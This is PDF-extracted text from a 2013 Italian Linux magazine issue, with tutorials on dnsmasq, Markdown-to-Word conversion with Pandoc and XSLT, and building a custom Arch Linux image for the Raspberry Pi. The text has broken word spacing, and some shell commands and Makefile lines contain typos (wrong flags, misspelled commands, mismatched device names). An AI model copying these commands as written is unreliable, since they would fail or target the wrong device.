cercandolo nell’interfaccia grafi ca di confi gurazione della rete (nell’ipotesi che il computer abbia una GUI). Il secondo elemento è l’indirizzo IP che volete che sia assegnato al dispositivo. Dev’essere un indirizzo non ancora assegnato a nessun altro device da parte di dnsmasq. Per essere sicuri che ciò non accada bisogna sceglierlo al di fuori dell’intervallo specifi cato dall’opzione dhcp-range vista sopra. La terza opzione è il nome da assegnare al dispositivo che dnsmasq risolverà quando verrà richiesto da un altra entità sulla rete. Potreste chiedervi a cosa serva la seconda riga: associa un testo descrittivo al nome, che verrà mostrato quando date il comando dig +short hostname txtÈ utile quando la rete cresce o la vostra memoria diminuisce, ma si tratta di un semplice promemoria, un po’ come un commento all’interno di un programma. Tenere tutte le impostazioni di rete in un unico posto rende la gestione e il backup molto più facili. Dato che tutti i dispositivi mantengono la loro confi gurazione di default, non è necessario modifi carli tutti quando, ad esempio, installate un nuovo router con un indirizzo diverso. Se usate un portatile ci sono buone probabilità che abbia due interfacce, una con il fi lo e l’altra senza, ognuna con un suo indirizzo MAC, ma probabilmente vorrete mantenere lo stesso indirizzo indipendentemente dall’interfaccia usata per connettervi. A questo scopo sarà suffi ciente specifi care entrambi gli indirizzi IP, separati da una virgola, cosi: dhcp-host=20:68:9d:bc:08:f5,50:46:5d:32:e2:51, 192.168.1.8,hostnameIn questo caso dnsmasq suppone che sappiate quello che state facendo e che quindi non attiverete contemporaneamente entrambe le interfacce, altrimenti la cosa non funzionerà. Quello che abbiamo visto è solo un breve accenno alle tante possibilità offerte da dnsmasq. Una volta che inizierete a usarlo, i commenti nel fi le di confi gurazione di default e le FAQ sul sito Web del progetto vi daranno un sacco di altre idee. LXP

dnsmasq non è BINDProbabilmente avrete già sentito parlare di BIND come server DNS. BIND è lo standard di fatto per quanto riguarda questo genere di software ed è usato in quasi tutti i server su Internet. Se avete intenzione di installare un server DNS per gestire uno o più domini

vi conviene usarlo. dnsmasq è un animale completamente diverso, pensato per rendere più semplice la gestione di reti private di dimensioni medio-piccole. Non ha la potenza, la complessità e il peso (in termini di risorse usate) di BIND.

Se il vostro router usa dnsmasq dovrete semplicemente incollare le impostazioni desiderate nella sua interfaccia Web

LXP130_64-65_dnsmasq 65 06/06/13 12:24

Page 68: Linuxpro 130 Giugno 2013

66 Linux pro 130

Markdown Convertire i vostri file in formato Word da riga di comando

è specializzato nel trattamento di testi Sfortunatamente gli utenti di Vim sono relegati in una minoranza rispetto agli utenti totali di computer, e pure i file testuali oggigiorno non sono più molto in voga. Vi è mai capitato di dover inviare un articolo o una lettera a qualcuno e sentirvi dire “Spedisci in Word”? ovviamente, se siete testardi, continuerete a usare Vim, copiando il testo definitivo in Libreoffice un attimo prima di inviarlo. Questo approccio però vi fa perdere un sacco di tempo nel ricopiare il layout: esiste un modo per automatizzare il processo? ovviamente la risposta è sì, e si basa sul strutturare il file di testo originale.

Markdown: testo strutturatoil primo passo è quindi strutturare il file di testo originale. potreste usare delle convenzioni personali per indicare titoli, sottotitoli e tutti gli altri elementi, ma ci sono dei formati standard già esistenti che vi vengono in aiuto. un esempio diffuso è Markdown (http://daringfireball.net/projects/markdown) per esempio, potete strutturare un testo così: # Titolo ## Sottotitolo Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.

Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. in enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo.

### intestazione di terzo livello?* un elemento in elenco puntato?* un elemento con _enfasi_;?* un elemento con **enfasi doppia**;?* e un link a [Linux pro](http://www.linuxpro.it)La sintassi parla da sè - non vi serve molto tempo per abituarvi. potete usarlo nel vostro editor preferito, così da non dover cambiare programma per nuove sintassi. non esistono requisiti di estensioni particolari per i file Markdown, ma diversi usano .md o .markdown. Quindi ora avete un modo per strutturare i vostri testi e vi serve un metodo per convertirli in documenti Word. uno strumento popolare per compiere questa operazione è Pandoc (http://johnmacfarlane.net/pandoc), che è descritto come un “convertitore universale di documenti”. Supporta alcuni formati in input (incluso Markdown) e molti formati in output, incluso il docx di Microsoft Word e oDT (openDocument Text) di openoffice/Libreoffice.

Chi predilige le finestre di terminale e i file di testo è sempre riluttante a usare i programmi di videoscrittura

grafici, inclusi i vari OpenOffice/LibreOffice e AbiWord. non c’è niente che non vada in queste applicazioni, semplicemente non rientrano nel suo workflow. immaginate per esempio di lavorare molto con il terminale e usare Vim per la videoscrittura: usando Mutt per la posta elettronica, vorrete che quest’ultimo vi permetta di scrivere le email con il primo, visto che

Cominciate semplicemente da questo file di testo con del markup minimo...

interMedio

Markdown: abbasso Word!Se non vi piace destreggiarvi tra font e colori mentre scrivete i testi, ecco come convertire file di testo in Word direttamente dall’amata riga di comando

LXP130_66-69_markdown 66 06/06/13 17:01

Page 69: Linuxpro 130 Giugno 2013

Linux pro 130 67

Markdown Tutorial

Se decomprimete un fi le oDT per esaminarne il contenuto, tutti i fi le verranno estratti nella directory corrente. Questo non è probabilmente quello che volete: per tenere la vostra directory pulita create una nuova sottodirectory e usate l’opzione -d subdir di unzip per estrarvi i fi le.

tip

œ

Dal momento che i fi le oDT sono più facili da manipolare utilizzerete questo formato come output. in questo modo potete personalizzare l’output successivamente, e imparerete alcune cose sul formate openDocument che vi potranno tornare utili. potete trovare pandoc negli archivi di molte distribuzioni Linux, incluse Debian, ubuntu, Slackware, Arch, Fedora, nixoS e Gentoo, quindi l’installazione dovrebbe essere facile. notate che pandoc è scritto in Haskell, quindi dovrete installare quest’ultimo ambiente che è un po’ pesante. Se volete personalizzare l’output della conversione di pandoc, potete farlo con degli script Haskell. Se non conoscere Haskell lo scegliere oDT come output vi torna utile perché potete manipolare il fi le prodotto usando xSLT, dal momento che un oDT è essenzialmente un xML zippato. Convertire un Markdown in oDT è facile: $ pandoc -o ilmiofi le.odt ilmiofi le.mdGuardate il risultato in Libreoffi ce. Se volete convertire il fi le in Word, potete utilizzare Unoconv (http://dag.wieers.com/home-made/unoconv), che sfrutta in background il vostro openoffi ce/Libreoffi ce per la conversione: $ unoconv -f doc ilmiofi le.odtil fi le risultante ilmiofi le.doc è la conversione in Word del vostro documento di testo. notate che dovrete chiudere Libreoffi ce prima che unoconv possa fare il suo lavoro, il che potrebbe essere fastidioso.

Anatomia di un fi le odtSe non vi piace il layout di default di pandoc potete personalizzarlo come più preferite, ed ecco dove entrare nello specifi co dell’anatomia di un fi le oDT. una delle ragioni per preferire oDT come formato intermedio in questa conversione è che ha una struttura facile da capire e da manipolare. ogni fi le oDT è in effetti un fi le zip: $ unzip -l ilmiofi le.odt Archive: ilmiofi le.odt Length Date Time name -------- ---- ---- ---- 464 05-13-13 07:44 meta.xml 770 05-13-13 07:44 META-inF/manifest.xml 6867 05-13-13 07:44 content.xml 0 07-18-11 08:17 META-inF/ 0 07-18-11 08:01 Thumbnails/ 742 03-11-11 06:28 Thumbnails/thumbnail. png 39 03-11-11 06:28 mimetype 306 07-18-11 08:15 settings.xml 53538 07-18-11 08:15 styles.xml -------- ------- 62726 9 fi lesi fi le più importanti per i vostri scopi sono content.xml e styles.xml. il primo memorizza il contenuto del documento in formato xML, mentre il secondo fa lo stesso per il layout

del documento. Se volete familiarizzare con il formato oDT, decomprimete il fi le salvato in questo modo e date un’occhiata ai fi le xML nel vostro editor preferito. probabilmente il fi le chiamato styles.xml vi sembrerà Cinese, ma la sintassi di content.xml è piuttosto chiara: per esempio il tag <text:p> viene usato per i paragrafi e <text:h> per le intestazioni. Confrontate il vostro fi le originale Markdown con content.xml per capire le trasformazioni applicate da pandoc. potete modifi care i fi le content.xml e styles.xml e se ricomprimete i fi le, l’oDT risultante conterrà le vostre modifi che. naturalmente la modifi ca diretta dell’oDT è un modo piuttosto complesso

e sensibile ad errori (ma vi fa guadagnare punti geek!). Tuttavia, è un meccanismo interessante se potete

automatizzare alcune cose. per esempio, immaginate di non volere il layout di default generato da pandoc. in molte circostanze è facile cambiarlo. Scegliete un fi le oDT con un layout che vi piace, decomprimetelo e copiate il fi le styles.xml. Quindi decomprimete il fi le oDT generato da pandoc e sostituite il fi le con quello appena copiato. ricomprimete il tutto e aprendo il fi le in Libreoffi ce, ta-da! Ecco il vostro nuovo layout!

transformersnaturalmente non è sempre tutto così semplice. per esempio, se dovete consegnare i fi le come Word con stili non predefi niti, dovrete convertire tutti i nomi degli stili di default (come “Titolo 1”, “Titolo 2”, “Corpo testo”, etc.) nel vostro content.xml nei nomi del modello che dovete seguire. potreste modifi care la conversione di pandoc a questo scopo, ma non conoscendo Haskell dovete trovare un’altra soluzione:

...e Pandoc lo convertirà in un fi le opendocument con il layout giusto!

“Se non vi piace il layout di default di Pandoc potete sempre personalizzarlo”

LXP130_66-69_markdown 67 06/06/13 17:01

Page 70: Linuxpro 130 Giugno 2013

68 Linux pro 130

Tutorial Markdown

ritrasformare il fi le content.xml con XSLt (extensible Stylesheet Language Transformations). Con xSLT potete usare un foglio di stile xSL che defi nisce come volete convertire un fi le xML in input in un nuovo content.xml. Dal momento che non volete fare modifi che radicali ma solo cambiare alcuni nomi dello stile, cominciate con una trasformazione chiamata identity: <?xml version=“1.0” ?> <xsl:stylesheet version=“1.0” xmlns:xsl= “http://www.w3.org/1999/xSL/Transform” xmlns:text=“urn:oasis:names:tc:opendocument: xmlns:text:1.0”>

<!-- identityTransform --> <xsl:template match=“/ | @* | node()”> <xsl:copy> <xsl:apply-templates select=“@* | node()” /> </xsl:copy> </xsl:template>La trasformazione identità copia tutti i nodi xML, inclusi gli attributi, senza modifi care nulla. ora, dato che volete cambiare alcuni dei nomi di stile, aggiungete un nuovo template: <xsl:template match=“@text:style-name”> <xsl:attribute name=“text:style-name”> <xsl:choose> <xsl:when test=“.=‘Heading_20_1’”> Article_20_title</xsl:when> <xsl:when test=“.=‘Heading_20_2’”> Article_20_subtitle</xsl:when> <xsl:when test=“.=‘Text_20_

body’”>Article_20_text</xsl:when> <xsl:otherwise><xsl:value-of select=“.”/> </xsl:otherwise> </xsl:choose> </xsl:attribute> </xsl:template>

</xsl:stylesheet>Aggiunto questo template, il foglio di stile copia tutti i nodi xML, inclusi i loro attributi, ma quando incontra un attributo con il nome text:style-name ne modifi ca il valore se è uno dei casi specifi cati. il _20_ nel nome dello stile rappresenta il carattere spazio (che ha 20 come codice esadecimale ASCii), poiché il formato oDT specifi ca che internamente gli stili non possono avere spazi nel loro nome. per applicare il foglio di stile al vostro content.xml vi servirà un processore xSL come xsltproc. utilizzarlo dal terminale è semplice, ecco un esempio d’uso: $ xsltproc -o nuovocontent.xml stylesheet.xsl content.xmlQuesto comando applica le trasformazioni presentinel fi le stylesheet.xsl su content.xml generando il fi le risultante nuovocontent.xml. potete trasformare il documento in svariati modi, così. Ad esempio, se il vostro capo vi chiede di consegnargli un documento con un modello specifi co di Word dove il primo paragrafo è in uno stile speciale (Markdown non ha strutture per questo), potete aggiungere questo template alla trasformazione: <xsl:template match=“text:p[1]”>

<xsl:copy> <xsl:attribute name=“text:style- name”>Lead </xsl:attribute> <xsl:apply-templates select=“node()” /> </xsl:copy> </xsl:template>Quando il foglio di stile incontra il primo paragrafo di content.xml (ovvero verifi ca l’espressione ”text:p[1]”) copia l’intero paragrafo cambiandone l’attributo stile in “Lead”. Dal momento che styles.xml contiene il giusto layout per lo stile “Lead”, il fi le oDT risultante è quello voluto!

Altri linguaggi di testo strutturatiMarkdown non è l’unica sintassi per il testo strutturato. A seconda delle vostre necessità potreste considerare anche altri linguaggi. per esempio, MultiMarkdown (http://fl etcherpenney.net/multimarkdown), che aggiunge alcune caratteristiche avanzate a Markdown, come le note

a piè pagina, tabelle, citazioni e bibliografi e. per la documentazione tecnica è appropriato reStructuredtext (http://docutils.sourceforge.net/rst.html), usato nel progetto Docutils di python per documentare i programmi in questo linguaggio. Altri linguaggi popolari

sono textile (http://textile.sitemonks.com) e Asciidoc (www.methods.co.nz/asciidoc). Molti di questi linguaggi offrono strumenti per convertirne la sintassi in vari altri formati, come HTML, Word, openDocument Text, DocBook, LaTex o pagine man unix.

Gli hacker duri e puri scrivono

i loro documenti usando questo

linguaggio XML

Con Pandoc potete anche creare ebook, vi basterà semplicemente usare l’estensione .epub nel comando pandoc da CLi. potete usare l’opzione --epub-stylesheet per specifi care un fi le CSS personalizzato e --epub-cover-image per il fi le con l’immagine di copertina.

tip

LXP130_66-69_markdown 68 06/06/13 17:01

Page 71: Linuxpro 130 Giugno 2013

Linux pro 130 69

Markdown Tutorial

Automatizzare tuttoAlla fine di questo tutorial avete già affrontato diverse sequenze di azioni complesse per convertire il vostro Markdown in un file Word con layout personalizzato. naturalmente fare operazioni manualmente è noioso ed è facile compiere errori non voluti, quindi ha senso trovare un modo per automatizzare il tutto. A questo scopo utilizzerete l’approccio di Makefile. i progetti open Source normalmente usano un Makefile per compilare il sorgente in eseguibile, ma lo stesso meccanismo può essere usato per generare un file Word da un Markdown. il Makefile risultante assomiglierà a questo (attenzione: l’indentazione dovrebbe essere fatta con tabulazioni e non con spazi): xSL = ../../articolo.xsl STYLESHEET = ../../styles.xml TEMp_Dir = output SourCE_DoCS = $(wildcard *.md) inTErMEDiATE_DoCS = $(patsubst %.md, %.odt, $(SourCE_DoCS)) ouTpuT_DoCS = $(patsubst %.md, %.doc, $(SourCE_DoCS)) test: $(inTErMEDiATE_DoCS) all: $(ouTpuT_DoCS)

%.odt: %.md pandoc -o $@ $<;\ rm -rf $(TEMp_Dir);\ mkdir $(TEMp_DiD);\ unzip $@ -d $(TEMp_Dir);\ xsltproc -o $(TEMp_Dir)/content.xml $(xSL) $(TEMp_Dir)/content.xml;\ cp $(STYLESHEET) $(TEMp_Dir)/styles.xml;\ cd $(TEMp_Dir);\

zip -r $@ .;\ mv $@ ..; %.doc: %.odt unoconv -f doc $<Se avete letto con attenzione questo nostro tutorial dovreste essere in grado di seguire la logica di questo Makefile. per prima cosa vengono definite alcune variabili, come per esempio la posizione del foglio di stile e il modello (styles.xml) per il file oDT. Quindi definite due target: test che crea i file oDT per ogni file Markdown trovato nella directory, e all, che crea i file DoC. il file oDT viene quindi generato seguendo la procedura

del tutorial: per prima cosa viene convertito con pandoc, quindi si crea una directory temporanea, viene estratto il contenuto del file, si applica la trasformazione xSLT e il risultato viene risalvato dentro content.xml; A questo punto il file styles.xml di default viene effettivamente rimpiazzato da quello desiderato, e il tutto viene ricompresso nella

directory selezionata. La conversione in DoC è più semplice, limitandosi a chiamare unoconv. Con questo Makefile nella directory dei vostri file Markdown potete quindi scrivere make all e vedere convertiti in un lampo i file in DoC con il layout voluto. pandoc estende la sintassi di Markdown con diverse funzionalità extra, come tabelle, immagini con didascalie, liste, apice e pedice, piè di pagina eccetera. Date un occhio al rEADME di pandoc per i dettagli, assieme ad alcune opzioni interessanti del comando pandoc.

il meglio dei due mondiCon l’approccio usato in questo articolo per creare documenti di testo, avete il meglio dei due mondi. potete scrivere con il vostro editor preferito e i vostri corrispondenti non penseranno che siete strani a usare file di testo senza layout. Quindi potete mantenere le vostre sane abitudini unix usando i vari grep, sed, addirittura git, e far credere che state scrivendo con Word... e saranno tutti felici! LXP

in questo tutorial avete appena assaggiato quello che è possibile fare con Pandoc. Leggete la guida utente da cima a fondo prima di cominciare sul serio!

“Con l’approccio usato in questo articolo, avete il meglio dei due mondi”

LXP130_66-69_markdown 69 06/06/13 17:01

Page 72: Linuxpro 130 Giugno 2013

70 Linux pro 130

Raspberry Pi Scoprite come usare al meglio questo piccolo computer

direttamente sulla raspberry installando e rimuovendo pacchetti, ma sarebbe un processo lento. Quindi come agire? La risposta è usare un normale desktop x86 e, attraverso un cross-compilatore, creare una distro per Cpu ArM. Dicevamo che si può raggiungere lo stesso obiettivo installando/rimuovendo software da una distro già pronta e funzionante, ma è rischioso: un singolo errore e si può perdere tutto in un colpo. inoltre, in base al grado di modifiche che si vuole apportare, potrebbe essere un’attività da fare forzatamente a mano dato che è difficilmente automatizzabile tramite script. ora che il quadro è delineato, cominciamo a lavorare. La prima cosa da fare è caricare sul pC di lavoro tutti i tool necessari. in questo tutorial, il pC ospita una Arch Linux, una distro “niente male” disponibile sia per x86 sia per ArM. Diamo per scontato che siate nella nostra stessa condizione, con l’ultima versione di Arch che scalpita sia sul pC che sulla raspberry: a proposito di quest’ultima, fate il boot e poi date i seguenti comandi (da root): # pacman -Syu # pacman -S base-devel python2 git parted dosfstools

Ricetta per distro personalizzatail primo passo è decidere ovviamente cosa conterrà la distro che andremo a preparare. una buona idea è partire da quel gruppo di pacchetti base che rappresentano il cuore di Arch, aggiungendone e rimuovendone in base alle necessità. parlando del solo kernel, potete farlo dimagrire parecchio eliminando tutto il superfluo (moduli rAiD, Firewire, ecc.) e aggiungendo solo i moduli specifici per la raspberry. Se però intendete dare supporto a nuove periferiche (come le chiavette uSB/Ethernet), allora dovrete necessariamente ricompilare il kernel, approfittandone per eliminare dal kernel quei moduli statici che non servono. Data la limitata quantità di rAM disponibile, un kernel piccolo non peserà inutilmente sulla memoria centrale e al contempo si caricherà più velocemente, accelerando così la fase di boot. poiché ricompilare il kernel sulla raspberry richiede fino a 10 ore a seconda di quanti moduli decidiamo di abilitare, l’esistenza di un metodo alternativo è una fortuna per tutti noi. il cross-compilatore (cioè un compilatore che gira su x86 ma che genera eseguibili per ArM) è una delle strade praticabili, l’altra è usare distcc, (un compilatore C distribuito su più macchine in rete), ma anche qui serve un cross-compilatore perché distcc nativamente non supporta ArM. poiché cross-compileremo il kernel, entrambe le tecniche saranno illustrate nel corso dell’articolo. il prossimo comando utilizza pacman (pACkage MAnager), il gestore di Arch, per ottenere la lista dei pacchetti base, per poi usare sed e aggiungere i pacchetti specifici per raspberry. una volta ottenuto il file “lista_pacchetti”, si potrà editarlo per aggiungere/rimuovere i pacchetti secondo necessità. $ pacman -Sg base | awk ‘{print $2}’ | grep -v “^\ (linux\|kernel\)” | tr ‘\n’ ‘’ > lista_pacchettiora provvediamo ad aggiungere alla lista i pacchetti specifici per raspberry: $ sed -i -e ‘s/$/linux-raspberrypi linux-headers-raspberry raspberry-firmware/’ lista_pacchetti

in questo articolo vedremo come creare un sistema personalizzato per la raspberry, un sistema che contenga tutto e solo quello che vi serve. potreste

desiderare un applicativo diverso da quello proposto dalla distro che avete adottato, oppure una diversa configurazione: forse la vostra aspirazione è parametrizzare diversamente il kernel. Sicuramente siete in grado di riversare su scheda SD un’immagine già fatta, o quanto meno usare un emulatore per farla funzionare sul vostro pC casalingo. Certo, potreste adattare un’immagine già pronta lavorando

Allineare i settori alla dimensione degli erase block farà la felicità della vostra SD

Difficile

creare una distro per la RPl’attesa per la consegna della Raspberry si misura in settimane? Allora non sprecate il vostro tempo e cominciate con il creare la vostra distribuzione su misura

Dovete allargare la parte riservata alla fAT per allinearvi esattamente alla dimensione del cluster

LXP130_70-73_Raspberry.indd 70 10/06/13 15:32

Page 73: Linuxpro 130 Giugno 2013

Linux pro 130 71

Raspberry Pi Tutorial

Forti della lista generata (che provvediamo a spostare sul pC x86 di lavoro), potete iniziare a creare l’immagine di Arch personalizzata. il comando mkarchroot rende tutto questo un facile lavoro: esso installerà i pacchetti in una sottodirectory che alla fi ne convertiremo in un’immagine iSo (vi ricordiamo che avete spostato il fi le sul pC x86, che sarà la vostra piattaforma di lavoro da adesso in poi). # mkarchroot archroot $(cat lista_pacchetti)È stata così creata directory archroot che contiene tutto ciò che è necessario per avere un sistema funzionante. È possibile entrarci con chroot archroot e verifi care che tutto funzioni: in effetti, se volete cambiare la password di root o aggiungere un nuovo utente, potete farlo tramite i classici comandi. Creeremo ora un fi lesystem in un singolo fi le. Si potrebbe lavorare direttamente sulla schedina SD, ma avere a disposizione un fi le è più veloce e pratico, poiché dopo averlo preparato si potrà scriverlo sulla SD una sola volta, senza sottoporre quest’ultima allo stress di troppe scritture consecutive. il kernel ha l’opzione loop che permette di montare un fi le come se fosse un vero disco fi sso: crea un device nella directory /dev che viene usato a tale scopo. L’immagine deve essere piccola abbastanza per entrare nella schedina SD, quindi creerete un’immagine da 2 GiB, la stessa dimensione dell’immagine uffi ciale. Assicuratevi che il loop device sia caricato e procedete: # modprobe loop $ truncate -s 2G myimage $ device=$(losetup -f) # losetup $device mydeviceSi usa due volte losetup: prima per allocare il nome del device (di solito /dev/loop0) e poi per crearlo. notate che avete salvato il nome in una variabile (device), in modo da poterlo usare comodamente più avanti. L’immagine necessita ovviamente del partizionamento: la prima partizione deve essere di tipo FAT16 e farà da contenitore per i fi le di boot e l’immagine del kernel. La seconda partizione necessaria è per il fi lesystem, quindi dovrete scegliere una formattazione “pinguina” come ExT4. Se si desidera la partizione di swap, andrà creata anch’essa. Al contrario del BioS dei normali pC che eseguono il boot dal MBr, il fi rmware della raspberry è più semplice e cerca solo di partire da una partizione in stile MS-DoS, ecco perché è necessario tale formattazione. utilizzate parted per creare la tabella delle partizioni, così: # parted -s $device mktable msdosQuando si creano le partizioni, sarebbe bene allinearle agli erase blocks della scheda SD: pur non essendo obbligatorio, è comunque raccomandato. Molte schede adottano

la dimensione di 4 MiB, ma per andare sul sicuro, meglio controllare con il comando $ cat /sys/class/block/mmcblk0/device/preferred_erase_sizeper le schede che adottano i 4 MiB, il risultato sarà 8192 settori: poiché ogni settore contiene 512 byte avete appunto che 8192*512 = 4194394 byte = 4 MiB. Le partizioni dovranno quindi iniziare in un settore il cui numero sia multiplo di 8192. il primo erase block contiene i primi 8192 settori: siccome si comincia a contare da zero, signifi ca che il primo block è composto da tutti i settori dal numero 0 al numero 8191. il secondo erase block contiene i settori dall’8192 al 16383 e così via. Attenzione che il settore 0 è speciale in quanto dedicato a contenere la tabella delle partizioni: ne consegue che la prima partizione deve lasciar liberi i primi 4 MiB, cominciando perciò dal settore 8192. una ragionevole dimensione per la partizione di boot può essere 40 MiB, cioè 81920 settori: grande cioè abbastanza per contenere i fi le di boot e varie immagini del kernel, con il vantaggio di terminare “giusta” alla fi ne di un erase block. Create quindi una partizione che parta da settore 8192 e termini nel settore 90111 (8192+81920-1=90111) # parted -s $device unit s mkpart primary fat32 8192 90111Serve assolutamente lo swap? L’utilità di riservare spazio per lo swap è cosa discutibile, in quando continuare a scrivere su una memoria SD, oltre a essere un’operazione lenta, è anche il miglior modo per distruggerla velocemente. A ogni modo, ecco come creare una partizione di 256 MiB, (equivalente a 524288 settori o, che è lo stesso, a 64 block). La nostra immagine da 2 GiB contiene 4.194.304 settori (2 GiB/512=4.194.304): ricordatevi che bisogna sempre contarli partendo da zero, quindi il primo è il numero 0 e l’ultimo è il numero 4.194.303. La partizione di root può occupare tutto lo spazio tra la partizione di boot e quella di swap, partendo dal settore 90112 e terminando su un settore “di confi ne”, lasciando quindi gli ultimi 265 MiB per lo swap. procedete: # parted $device unit s mkpart primary ext2 90112 3670015 # parted $device unit s mkpart primary linux-swap 3670016 4194303Se si vuole, si può stampare a video la tabella delle partizioni con parted -s $device unit s print. Bene, passate alla creazione dei fi lesystem. La periferica di loop necessita di essere ricreata in modo da supportare le partizioni. # losetup -d $device # device=$(losetup -f) # losetup -p $device myimageCreare un fi lesystem FAT allineato ai settori giusti comporta la conoscenza della dimensione della struttura della FAT stessa: sembra complicato a parole ma il prossimo comando risolve tutto. # mkfs.vfat -i -F 16 -n boot -s 16 -v ${device}p1 | grep “FAT size”

Se si utilizza un sistema a 32 bit, esiste un cross-compliatore già pronto chiamato arm-bcm2708-linux-gnueabi compreso nei tool per rp. È reperibile presso git://github.com/raspberry/tools

Tip

Sfruttate le Cpu multicore: il parametro -j di make è quello che ci vuole. Sull’intel i7 dell’articolo, spremiamo tutta la potenza del quadcore a 8 thread appunto con make -j8.

Tip

œ

lavorare in chroot

A volte torna utile mettere le mani nel fi lesystem, come avete fatto con archroot in questo articolo. È altresì possibile farlo con chroot, il quale però richiede anticipatamente qualche parte del fi lesystem già montata per evitare malfunzionamenti. Ecco uno script che automatizza il tutto.

#!/bin/bash mkdir -p $1/{dev/pts,proc} mount proc -t proc $1/proc mount devpts -t devpts $1/dev/pts chroot $1 /usr/bin/env -i TErM=“$TErM” /bin/bash --login umount $1/{dev/pts,proc}

Quasi come quella vera: Qemu emula la RP tramite l’immagine che abbiamo creato

LXP130_70-73_Raspberry 71 06/06/13 12:25

Page 74: Linuxpro 130 Giugno 2013

72 Linux pro 130

Tutorial Raspberry Pi

il boot su ARM è diverso

La rp non fa il boot come un normale x86: è infatti la Gpu ad accendersi per prima, mandare in esecuzione il fi rmware e poi passare il controllo alla Cpu ArM. La sequenza va a cercare sulla partizione FAT un fi le chiamato bootcode.bin che viene caricato nella cache L2 della Gpu, dopodiché il bootloader, chiamato loader.bin, viene copiato in rAM. per ultimo, tocca

a start.elf, che carica il kernel vero e proprio di nome kernel.img (i fi le di confi gurazione sono confi g.txt e cmdline.txt). Alla fi ne di tutto, il kernel fa partire il sistema così come siamo abituati sugli x86. A differenza dei pC normali, il MBr su ArM non contiene anche un mini programmino (cosa da sempre standard per i pC) ma unicamente la tabella delle partizioni.

Sdoppiamento di personalità: ARM

su x86 tramite QeMU!

La struttura del fi lesystem FAT è mostrata nel diagramma della pagina precedente. per “allineare” il fi lesystem, bisogna aggiustare lo spazio riservato in modo tale che il primo settore “dati” coincida con il primo settore del blocco. Questa dimensione di spazio riservato deve essere uguale alla dimensione di un erase block diminuito della dimensione di due tabelle di allocazione fi le. proseguendo con l’esempio di una FAT a 32 settori, lo spazio riservato sarà 8192-(2*32)=8128 settori. # mkfs.vfat -i -F 16 -n boot -s -16 -r 8128 -v ${device}p1per la partizione di root, usate come anticipato l’ExT4. Qui c’è meno diffi coltà, in quanto la dimensione di un singolo blocco (4 KiB) è un sottomultiplo di un erase block, quindi i conti vengono più facili. Create il fi lesystem, ma senza il fi le di journaling, allo scopo di evitare eccessive scritture e salvaguardando quindi la durata della schedina SD: # mkfs.ext4 -o ^has_journal -L root ${device}p2Bene, ora montate i due fi lesystem e scriveteci dentro i fi le necessari: # mount ${device}p2 /mnt # mkdir /mnt/boot # mount ${device}p1 /mnt/boot # (cd archroot ; cp -a * /mnt) # umout /mnt/boot /mntora riversate l’immagine sulla schedina SD (ipotizziamo che la schedina sia montata sul pC tramite un adattatore uSB e che venga vista come /dev/hdb) # dd if=myimage of=/dev/sdb bs=4MFinita la copia, smontate dal pC la schedina e infi latela nella raspberry (SpEnTA!) e poi alimentatela (nel caso si sia sprovvisti dell’hardware, è possibile far “girare” l’immagine in un normale emulatore). il pacchetto linux-raspberry che abbiamo incluso nel fi le-disco da 2 GiB presente nel DVD contiene l’immagine del kernel uffi ciale, ma personalizzarlo è una cosa molto semplice. A tal proposito servono i sorgenti del kernel e, ovviamente, un compilatore per convertire i sorgenti in un fi le binario eseguibile. Solitamente un compilatore produce un kernel

per il tipo di Cpu sulla quale è in esecuzione il compilatore stesso, ma usando un cross-compilatore, è possibile generare un kernel per altri tipi di Cpu. il vantaggio? La velocità con cui si ottiene il prodotto fi nito! infatti, una potente Cpu x86 produrrà un kernel-per-ArM molto più velocemente di quanto possa fare il povero ArMv6 che muove la raspberry. Conti alla mano, compilare linux 3.2.27 ha richiesto ore sulla rp, mentre sono bastati solo 150 secondi su una Cpu i7! Quindi accantonate lo “scatolino” per un momento e scatenate la best... cioè, il vostro desktop. il compilatore “normale” è gcc, mentre il compilatore per ArM si chiama arm-linux-gnueabi-gcc. problema: non è nei repository uffi ciali, quindi lo cercherete altrove con yaourt, un programmino che si attacca a repository alternativi (tranquilli, è tutto sicuro e legale!) # yaourt -S arm-linux-gnueabi-gccoccorre prestare attenzione alle domande che il tool porrà per rispondere a tono: “no” quando verrà chiesto se si desidera editare il pKGBuiLD e “yes” quando verrà chiesto se creare o installare un pacchetto nuovo. infi ne, acconsentire (“yes”) nel caso fosse necessario rimpiazzare pacchetti che generano confl itti.

ciao Mondo!prima di proseguire, vale la pena controllare che non si stia lavorando inutilmente: in altre parole, create un programmino per ArM in modo di accertarvi che il compilatore funzioni correttamente. ovvio che farete il solito programma “Ciao, mondo”. Ecco il sorgente, da inserire in un fi le dal nome ciao.c: #include <stdio.h> int main() { printf(“Ciao, Mondo!\n”); return 0; }ora compilate il fi le per ArM e verifi cate che “giri” correttamente: $ arm-linux-gnueabi-gcc -o ciao ciao.c $ fi le ciaoil secondo comando stampa la seguente informazione: ciao: ELF 32-bit LSB executable, ArM, version 1 (SYSV), dynamically linked (uses shared libs), for Gnu/Linux 2.6.27, not strippedCopiando il fi le sulla rp e mandandolo in esecuzione con ./ciao, ottenete la scritta “Ciao, Mondo!”, inconfutabile prova che la cross-compilazione funziona e quindi funzionerà anche per il kernel. Forti del successo, procuratevi i sorgenti di linux: $ git clone --depth 1 git://github.com/raspberry/linux.git $ cd linux $ ssh [email protected] zcat /proc/confi g.gz > .confi g $ make -j 8 ArCH=arm CroSS_CoMpiLE= arm-linux-gnueabi- menuconfi g -kAvete scaricato i sorgenti da github, utilizzando --depth 1 per avere soltanto l’ultima versione e non l’intero storico dei sorgenti; questa opzione vi offre un grosso risparmio di tempo. poi avete prelevato dalla raspberry connessa in rete locale (il cui indirizzo sapete essere 192.168.1.10) il fi le di confi gurazione del kernel e lo avete ricopiato in .confi g. infi ne, con qualche parametro in più, avete aperto il solito menuconfi g in modo da poter eventualmente apportare le modifi che “dell’ultimo minuto” alla confi gurazione. una volta conclusa la parametrizzazione, salvate e uscite. ora viene il grosso del lavoro, cioè la compilazione vera e propria:

LXP130_70-73_Raspberry 72 06/06/13 12:25

Page 75: Linuxpro 130 Giugno 2013

Linux pro 130 73

Raspberry Pi Tutorial

